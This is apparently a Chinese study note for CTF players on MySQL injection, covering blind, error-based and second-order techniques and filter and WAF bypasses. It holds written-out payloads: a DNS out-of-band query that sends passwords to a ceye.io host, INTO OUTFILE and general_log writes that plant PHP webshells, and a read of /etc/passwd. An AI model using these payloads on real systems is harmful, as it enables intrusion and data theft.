目前排版还比较乱,常见的姿势基本已经整理的比较全了,还在不断学习中。。。
sql盲注
第一步:字符串截取函数
选取那个完全由过滤了什么符号决定,一般查看的有:函数名,逗号,空格
第二步:将截取到的字符串段进行比较得到另一个数据
|
|
第三步:产生两种结果
基于bool的盲注
判断结果的0或1或产生两种不同的回显结果,这就是bool型盲注思路
基于time的盲注
如果满足条件就sleep上一段时间,如果没有就不sleep,然后通过计算处理时间来得到两种回显结果
一般insert语句这种不会有文字回显的采用基于time盲注的两种情况
基于报错的盲注
需要注意的一点是,既然数据库会报错回显,本质上和只有两种回显的情况是有不同的,在精心构造的语句+低版本的数据库中是可能直接拿到数据而不用盲注的,有关于报错的分类以及直接拿数据的方法我们在后面都会介绍到,这里只是盲注中对基于报错的使用
|
|
盲注中可能用到的一些点
group_concat()将一列数据整合
获取当前数据库
select database()
获取所有的数据库
select group_concat(distinct table_schema) from information_schema.tables
获取数据库中的表
select group_concat(table_name) from information_schema.tables where table_schema = 'news'
获取表中的对应列
select group_concat(column_name) from information_schema.columns where table_name='flag'
最要紧的就是 = ‘i’或是0x表示,经常在payload里面写成 = {},应该是 = ‘{}’
mysql的单字符比较中不区分大小写,应该使用binary()或者ascii()来区分大小写,测试ascii不管用,但是binary()可以。另外hex()函数用起来也很方便
另外select * from user where username=’admin’ and binary password=’xxx’这里就已经对password字段进行了二进制处理
有一些很有意思的地方(从Ben师傅的一次padding oracle attack结合sql注入的时候在想:在对回车也就是%0a, \n 字符进行getcipher的时候,是写成%0a,还是\n呢?%0a的话,对应加密出三个字符,而\n这对应一个回车字符):
在传递不可显示字符的时候,就比如回车符吧,我们有两种传递方式———将回车符用url编码,也就是写做%0a的形式,在到服务端接收的时候就会自动进行urldecode所以又是回车符了,这时候可能我们会想:在写php代码的时候,将回车符号写作\n 0x0a \x0a啊这些也都可以在sql中正常运行,那么在作为参数传递时这样写行不行呢,其实是不行的,因为你传过去再输出就可以看到,这些符号的意义并没有被转化为回车符,而只是单纯的几个字符而已。
有一种情况特殊些,我们将字符串可以用0xxxxx来代替,但是这并不是在php里面能对0x进行解析为对应的字符,而是因为mysql支持这种字符串的书写格式。
基于报错的注入(盲注部分前面提到了就不说了)
首先来了解下如何从报错信息中直接拿到我们要的数据而不用盲注,之后在对报错注入的分类的介绍中我们会附加上如何不用盲注拿数据的payload
让我们从exp(~0)这个报错函数开始考虑,报错时显示
|
|
看,回显中有显示~0的字样,然后我们可以想到如果是多层嵌套结构的话是分层次执行,如果我们用select user()
来代替0,那么执行的顺序就是先进行select user()
语句然后再将返回值带入exp函数中执行,最后报错的时候也就会将我们已经执行完毕的那条语句的执行结果输出出来,这时我们就看到了结果
|
|
OK,了解了原理,我们接下来就要介绍报错盲注的分类了
5.7版本以上mysql函数
注意,我们下面介绍的这些函数在5.7版本中才有,而且经过测试能够回显敏感信息
而很多低版本的mysql都只能报错而在错误信息中不显示关键信息了,所以在高版本mysql中就推荐用这些函数
下面介绍的这些函数有个共性就是报错都是基于他们传入的参数格式错误而造成的,报错信息中就会展示出错误信息
ST_LatFromGeoHash()
函数,参数只能接受纯数字,我们用group_concat()引入逗号
|
|
ST_LongFromGeoHash()
函数是一样的效果
|
|
然后是GTID_SUBSET()
函数,这个函数需要传两个参数,但是构造的时候注意到使用select GTID_SUBSET((select group_concat(password) from user),'');
并没有报错,然后就瞎猜了下,使用concat
字符串链接将其处理一下,然后就成功报错了,迷。。。
|
|
GTID_SUBTRACT()
函数与上一个是同样的触发方式
|
|
ST_PointFromGeoHash()
函数,需要两个参数
|
|
低版本报错方式
在低版本中,这些报错方式大都还是能将敏感信息回显出来的,高版本mysql里就不行了,我这里只有5.7版本的mysql,很多报错方式不会再回显敏感信息了,所以这里就只提供报错语句及原理介绍吧
基于运算溢出的报错
int型的加法运算溢出报错
|
|
exp()指数运算溢出,实际上在参数为710及以上时候就会溢出了
有个比较有意思的点,我在5.7版本的mysql测试中看到,回显信息包括了所有的字段名
|
|
其他函数
比较有意思的是,我在高版本mysql测试中,虽然不回显敏感信息了,但会爆出来表中所有的字段名。。。
|
|
函数比较多,用法也都比较简单,这里就不一一举例了
- geometrycollection()
- multipoint()
- polygon()
- multipolygon()
- linestring()
- multilinestring()
在高版本测试中也可以爆出敏感信息的函数
updatexml()
函数是mysql中用来修改xml信息的函数
extractvalue()
函数是mysql中用来查询xml信息的函数
|
|
基于主键重复的报错
是目前网上报错注入流传比较多的版本,好处是在高版本中依旧可以爆出错误,同时也没有使用updatexml函数报错限制报错长度为32的弊端
|
|
原理分析:
在一条语句select count(*) from user group by username
中,数据库的操作是建立一个虚表,比起原表多了一个count()列,group by的那个列变成了主键也就是<group_key>
,之后从user表中一条条的取出来数据,在虚表中查找,基于group_key(在这里就是username)的值在虚表中是否已经存在,来决定是在count()列中加1还是新添加一个列。 考虑这个过程,我们使用floor(rand(0)*2)
作为<group_key>
的话,我们每次从user表里面提出来一条数据准备依据group_key进行插入,第一次计算结果是0,group_key为0,第二次是1,group_key为0,这里都没问题,只是在虚表中多了两个列,一个列名1,一个列名0,第三次插入的时候计算结果为1,这时再准备往虚表中插入虚拟的主键1,就会报主键重复的错误。
|
|
sql过滤统计
反正过滤吧,不是想办法绕过,就是再找一个相同功能的写法来替换
先放上一些比较经典的:
过滤单引号
- 在数据库为gbk编码下可以考虑宽字节注入%df%27来用%df吃掉\
- 因为单引号被过滤无法
where user='admin'
的时候,用0x写法来代替’’写法
过滤空格
本质上就是用一些无法融入原写法语义的符号放到那里起到空格的分隔作用
- 使用
() 或者 反引号
来做分隔,形如select(*)from(user)的写法, - sqlmap中space2hash.py的方法,用%23xxx%0a来做空格
- 使用
/**/
来做分隔 - 使用%0a来做分隔
- and可以用&&代替 or可以用||代替 这样不仅不需要空格,连and or都不需要
过滤某些sql语句的关键字
/*!*/
来在php中注释过去,但是mysql中会正常执行,形如/*!select*/ flag /*!from*/ flag
- 中间插入
%0a %0b %00 /**/
这些,形如se%0blect fl/**/ag from flag
,但有一点要提醒的是,sel/**/ect
这种写法并不是说可以绕过检测而且mysql可以执行,%0b /**/
这些字符在sql语句中是存在的,在php那一层就会剔除掉 - 考虑大小写绕过SeLect
- 最常见的双写绕过的可能千万不要忘了尝试下
selselelctect
过滤某些符号
符号的过滤与关键字过滤不同,大部分情况无法进行过滤绕过,多为寻求符号的替代品
- 使用greatest来替代大小写符号
ascii(mid(user(),1,1)) < 150
–>greatest(ascii(mid(user(),1,1)),150)=150
- 过滤了逗号,使用
substring((select xxx) from -1|-2|-3... for 1)
来代替((select xxx),1|2|3...,1)
- 过滤了=,其实=的替代品有很多:like,<,>,^,-其实都可以做运算生成bool结果,另外<>都有等价的函数表示,另外in函数也可以的 select password in (‘’,’’,’’)
- ascii() hex() 可以获得字符的数字形式,需要注意的是hex()返回的是6B这种字符串,最好不要做math运算,因为6B会变成6,所以一般推荐ascii()
- char() 将ascii对应的转化为字符
末尾截断可用的注释(然而我比较习惯用’’=’)
%23 也就是#
--+
注意这里应该用+来表示最后一个空格字符,因为很可能空格没有被传过去的;%00
/*
没有测试成功- 反撇号 没有测试成功
过滤某些函数
这不是大事,基本上都能找到相同功能的函数来代替,mysql函数那么多。。。
https://dev.mysql.com/doc/refman/8.0/en/functions.html
一些字段关键字被过滤
- 和关键子过滤一样,使用
/**/ %0b %0a
这些来中间断一下 - 大小写也是没有问题的,反正mysql对大小写也不敏感
- 使用concat(‘adm’+’in’)就可以,但注意mysql中写成’adm’+’in’的结果是0。。。小心不要错了
- limit被禁用,也不能使用group_concat(),这时候就要使用where条件将查询结果限制在一行中,比如可以使用like方法
waf的缓冲区溢出利用
因为waf多是基于C语言编写的,所以如果输入的参数大于缓冲区的时候并不会报错而只是检查缓冲区内的部分,溢出的部分就不会进行检查
这里提供两种思路:
如果参数使用post上传,我们提交两个同名的参数,在php处理策略上,同名参数会以第二个为准,而waf可能会两个都进行处理,这样我们第一个参数提交一个文件来耗尽waf缓存,第二个参数就不会检查了
12345<form action="http://xxx/xxx.php" method="POST" enctype="multipart/form-data">file:<input type="file" name="username" / ><br/>username:<input name="username" value="payload" style="width:250px;" / ><br/><input type="submit" value="attack" /></form>我们把这个参数写的很长,比如经典的’ or xxx,我们在单引号之前填充很多的数据来耗尽waf的缓冲区,or后面的部分就不会被检测到了 ,比如aaa*1000’ or xxx
其他
过滤了union select from 却没有对单个关键字进行过滤。还是使用变量的方法,将数据存到变量里面,之后再用union select查询,这样就不会与from连起来了
select 1 from user where 2=3|@c:=(select flag from flag) union select @c;
这样最后就没有from了
报错注入得到表名列名以及不使用列名下的注入
如果information_schema,column_name,table_name,所有的表名或多或少的被过滤了,同时存在着报错注入的情况下,我们还是可以想办法通过报错注入拿到表名,列名以及一些数据的
首先是拿到数据库名
数据库名很好拿,只要我们在sql查询中使用一个库中并不存在的函数,就会爆出库名
|
|
实际上数据库名并不是必须要拿的,主要是只能拿当前库的名字,而写sql的时候又没必要加上当前库的名字。。。
在后面可以看到,拿表名列名什么的时候,也都可以顺便把数据库名爆出来
然后是拿表名
注意,拿表名需要至少猜测到一个表中存在的字段名
在测试基于主键的报错时无意中发现了这么一个报错
|
|
有趣的是这里将数据库名,表名,表中的第一个字段名都爆了出来。这一点会对我们接下来的工作有帮助。
看到网上通用的做法是利用函数Polygon的报错实现
|
|
原理其实就是将字段名作为报错函数的参数,这样在报错时可能就会将字段的详细信息爆出来,所以之前介绍的那些报错函数大都是可用的
exp()
geometrycollection()
- multipoint()
- polygon()
- multipolygon()
- linestring()
- multilinestring()
|
|
其实到这一步我们就可以直接拿数据了,有下面几种姿势可以在不使用列名的情况下拿到表里的数据
思路一:
|
|
解释
因为不能使用列名,所以通过语句select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
来建立一个形如
这样的表,我们使用别名叫e,如果再链接上我们要操作的表,就是这样
|
|
所以现在其实列名就已经换成了1,2,3,4来表示了,之后我们就能拿到要的数据了
|
|
思路二:
看了猫哥的wp后又学到了一种姿势,同样可以不用列名就能拿到wp,只是需要盲注
|
|
思路三:
还能想到LuckGame题目中的做法,就是在没有过滤的点将数据都拿出来存到变量里面,之后直接查变量就好
|
|
最后再介绍下拿列名的做法
出自orange的文章,原理:
将两个相同的表使用join操作连接到一起select * from user as a join user as b
,然后生成的表中就有了相同的列,其实只是列名相同,但他们分别隶属于不同的表的,之后为此表赋予别名,select * from (表) as e
,然后就会触发相同列名的错误,因为别名表中是不能有相同的列的
|
|
使用Out of Band带外攻击来回显数据
在mysql中参数select @@secure_file_priv为空的情况下(事实上并不多见,现在要么置为了固定的tmp文件夹,要么直接为NULL表示禁用文件存取相关操作),文件操作是支持使用url的,在函数load_file()中可以通过DNS查询来将数据携带出来。
payload: SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM user),'.a.wslhlk.ceye.io\\abc'));
在测试中可以看到,因为DNS缓存的原因,相同的域名不会第二次查询,所以建议每次更改a的值
另外注意域名中只支持英文字母,数字,-,且-不能用作开头和结尾,且长度限制在了63,所以比较适合用于携带hash后的密码这些数据
只能拿当前表内的数据的情况分析
有时候因为过滤比较严格,或是所要的数据就在本表内,我们使用的策略往往只能在当前表内查数据
这种过滤往往是这样的:
限制了select 或者 from,其实就从根本上限制了读取其他表的数据,除非有绕过的方法
虽然不能读取其他的表,我们可能还是有办法读取本表的数据的,下面是几个例子
|
|
补充(for myself):
基本上注入点都是where这里,需要注意到有这两种类型,他们做出的反馈也是不一样的
select * from user where 1 or 1/0
这种where下是要么全选中,要么全不选
select * from user where password like ‘N1%’
这种where下是要么不选中,要么只选中一条
在构造注入的时候,这两种where希望别搞混了
单引号转义下的注入思路整理
讲道理在单引号被转义而无法使用下,就基本GG了,但在一些特殊的配置下仍可能实现注入,在做题时也偶尔会碰到这些有意思的场景,把历来的思路做个记录。
宽字节注入
%df%2f
,通过%df来吃掉\组成一个字符存在切割操作,从对转义后的字符串中切割出一个真正的
\
,使用这个反斜杠来转义最后一个单引号,适用于两个可控注入点的情况select * from user where id='$_GET['id'] and username='$_GET['username']'
,在后一个可控点进行注入只转义了单引号,可以通过添加一个\来转义转义单引号的反斜杠,将单引号解放出来
像国赛里的一道题目样自己作死,在转义后又将单引号去掉,导致又出现了和第二条一样的一个真正的
\
,然后与第二条同样的用法转义可能仍有疏漏,比如对get,post转义,但参数用的request[‘id’],这个是没有转义的
也许只是虚晃一枪呢?的确转义的天衣无缝,但我们找到了一个数值型的注入点,并不需要单引号:)
利用二次注入中数据库存储的最大长度实现截断出一个反斜杠。考虑这样一种情况,二次注入点并没有过滤,但是实际存储中进行了两次转义存储,所以数据库中存的
\'
,导致二次注入仍然无法利用。我们可以寻找一个二次注入语句有两个参数的点,通过数据库中存储的最大长度实现截断出来一个真正的\
,实现引号闭合然后供第二个参数去注入连续两次sprintf调用来实现sql语句的拼接,在第一个位置使用
%'
,转义后为%\'
,在第二次拼接中,%
将吃掉\
字符,导致单引号逃逸。为了保证格式化参数个数正确,使用%1$'
即可。原理参见https://paper.seebug.org/386/里面还有一些其他的利用方法
非常规的注入做法
其实有一些实际情况中,会做出各种各样的有趣限制,可能就导致虽然注入点存在,但并不能靠以往的流程来走了,这些场景处理起来比较有趣,有时也需要一些奇思妙想,故打算整理一下
场景一
可以使用union,限制了from所以最多只能从本表中拿数据,限制了比较函数截取函数所以无法做字符串截取比较。
|
|
通过额外的一行来与要拿的一行进行排序比较,测试出哪一行的值。注意因为对大小写不敏感,所以测试的字符中只包括一套大写字母或小写字母就够了,另外盲注出的结果也无法区分大小写
场景二
来自于RCTF的login题目,大致情况猜测如下:
|
|
姿势:
|
|
场景三
来自于HCTF的SQLSilencer的显注姿势,情况如下:
|
|
显注姿势:
讲道理应该还有其他的姿势,但是很喜欢出题人的payload——利用变量来做
|
|
场景四
来自于SECCON sqlsrf题目的sql部分
|
|
姿势
|
|
场景五
来自于N1CTF里的两道sql题目
|
|
姿势
|
|
关于二次注入
采用mysqli_escape_string(),addslashes()这种转义型的过滤,如果没有其他额外人为操作的话,在这个sql点就是安全,那仍然会保留’这种脏数据,所以要留意会不会在其他sql点造成二次注入
在qwb中注意到了一个很有意思的点,大致是这样的:
- 表中age参数为char类型,但期望存储的是数值型
- 在存储中,使用的是insert users(age) values(123)的做法,传入的是个数字,通过mysql的类型转换将数值型转换为字符型存储起来
那么可能出现的问题如下图所示:
|
|
可以看到成功插入了脏数据,在二次查询的时候如果没有做好防护就会产生二次注入
相应这里可以采取的防护措施如下:
- 既然age列是存储数值型的,数据库中就使用相应的数值型如int,long来存储
- 既然将age列用了字符存储,在插入的时候就使用单引号括起来,否则mysql就会做类型转换
一些零碎记录的点
针对sql注入做的waf防护,常见的有以下几种
- 采用mysqli_escape_string(),addslashes()这种转义型的过滤,如果没有其他额外人为操作的话,在这个sql点就是安全,那仍然会保留’这种脏数据,所以要留意会不会在其他sql点造成二次注入
- 自己写filter函数,对某些关键字啊,空格啊,符号啊禁用,也是常常产生绕过的地方,比如双写绕过啊,使用其他相同意义的函数啊,空格用%0a代替啊这些。一些比较奇葩的过滤规则可能会引入威胁,就比如国赛帽子的那道题目
- waf函数,如果检测到敏感字符会die掉进程,也是经常进行绕过的地方
- 使用PDO结构的sql对象,进行->perpare预处理之后,那参数就是参数,语句就是语句,基本很难形成注入
除了针对各种sql点上过滤的绕过,还有几种情况是值得考虑的
- 如果参数其实并没有被过滤呢?就像TCTF上那道题目,全局参数过滤了GET POST ,然而一个参数点使用的是REQUEST[‘username’]来获得的参数,那其实这注入点的参数并没有被过滤
- 有些注入点的参数并不是自定义的,但有可能其最终来源还是用户自定义的,而且来源收录的时候只是进行了转义,记录的数据仍然为脏数据,这样这些存储值不经过滤的传到其他注入点做参数就会构成二次注入。(个人感觉二次注入在黑盒审计中出现的场景比代码审计要多,而且经常出现在用户名注册,之后一些操作直接提取用户名去进行sql操作)
TCTF里有一道很有意思的注入题目,是关于列名这个参数点注入的,那个题目使用CI框架写的,在$this->db->select()->from()->where()的select()这个函数里面装的是列名,这个参数在题目中可以由我们自定义,当然做了很多过滤,同时CI框架本身也做了很多过滤,wupco师傅对其进行了仔细分析http://www.wupco.cn/?p=3646,小m师傅当时用了xdebug对运行代码进行了调试,可能也是为了搞清楚CI框架内部做了什么过滤,发现后面加一对’’就没有过滤了。具体的过滤分析找时间再细看,这次先学习下列名注入
select column_name from test
,在column_name可控制下,我们这样写select {table_name from information_schema.tables where table_schema='blog' union select 1} from test
这样就可以构造注入了在数据库的登陆用户为root时,有可能是可以在任意目录下写文件的,这样我们就可以写一个webshell出来了
union select "<?php system($_GET[‘c’]);?>" into outfile '/var/www/html/uploads/shell.php'
实际情况测试的时候,在wamp中发现报错:The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
,在sql.ini下将secure-file-priv注释掉就好了
在kali的mysql中测试时发现,文件是可以写的,但尝试在/var/www/html/中写文件的时候,显示没有权限,就算是改用root账户登陆也不行,这时其实就是目标文件夹的权限配置问题了,一般网页根目录下的upload/文件是可以写文件进去的。当然前提还得是mysql以root登陆才能有写文件的权限基于语义的waf学习(先占坑有时间加上去)
这一条留给自己看,尝试考虑下拿到一个sql点的时候手注的顺序,因为感觉很多sql点加一点过滤就会在测试的时候各种懵逼,还是找个比较好的测试顺序比较好
'
有可能没有回显,有报错回显,有waf提示' or 1
' or ''='
看看有没有全部东西出来,主要是看看这种简单的会不会拦截' union select 1,2,3,4 %23
看看能不能使用union查询- 还没有信息?尝试下
' and sleep(5)--+
行不行,如果能的话就说明是可注入的 - 到现在还没有???尝试各种姿势寻找两种回显吧
- 到此为止如果看到了waf信息,报错信息,就可以着手开始搞了。如果还没有东西,可以开始用burp测试一波敏感字符了,基于看到的特殊信息对上面的payload做出替换后再尝试
- 如果还没有看到异常情况,那可能点就是封死了,因为能够执行sql的话,上面的结果肯定会有些特殊回显的
hctf里遇到了一个比较坑的地方,flag是放在了另一个数据库中,所以一路select database(),然后并没找到奇怪的表,所以在information_schema.tables中使用模糊搜索找找flag关键表
select group_concat(table_name) from information_schema.tables where table_name like '%flag%'
如果找到了,因为之后要跨数据库去读取表,所以要记得看下表是在哪个数据库里select group_concat(table_schema) from information_schema.tables where table_name = 'flag'
找时间测试了下PDO的工作流程
123456789101112131415161718192021222324252627282930try{//首先进行连接,通过new PDO()函数$conn = new PDO("mysql:host=localhost;dbname=blog","root","root");}catch(PDOException $e){die( "Error connecting to SQL Server".$e->getMessage() );}//尝试进行一次普通的查询,这里其实并没有用到PDO的预处理特性,只是普通的查询$sql = "select * from user where username = '$_GET['id']'";$stmt = $conn->query($sql);while(@$row = $stmt->fetch(PDO::FETCH_ASSOC)){var_dump($row);}//使用PDO对sql语句进行预处理再带入查询$sql = "select * from user where username=?";$stmt = $conn->prepare($sql);$stmt->bindValue(1,$id);//$arr = array(// ":id" => $id,//);$stmt->execute();var_dump($stmt);if (!$stmt){echo $conn->errorInfo()[2];}测试结果:没有使用预处理的sql存在预期的攻击方式,进行预处理后的语句则不存在注入点。如果以root账户登陆,则可以写文件读文件
12345678910select load_file("/etc/passwd")select '<?php @eval($_POST[cmd]); ?>' into outfile '/var/www/shell.php'几种写法受变量select @@secure_file_priv;控制或用show global variables like '%secure_file_priv%'查询也可以考虑下面这种写法,通过写日志文件的方式set global general_log='on';SET global general_log_file='D:/phpStudy/WWW/upload/1.php';SELECT '<?php assert($_POST["cmd"]);?>';很多题目里,flag并不在当前表中,甚至也不在当前数据库中,我一般采取以下几种方案寻找可疑的flag表
12345678# 最简单的,直接猜测是flag表的flag字段select flag from flag# 尝试在information_schema.tables中进行like查询可疑表select group_concat(table_name) from information_schema.tables where table_name like '%flag or ctf%'# 自定义的表在输出时会放在后面,所以倒着查询,可以看到所有自定义的表select group_concat(table_name) from information_schema.tables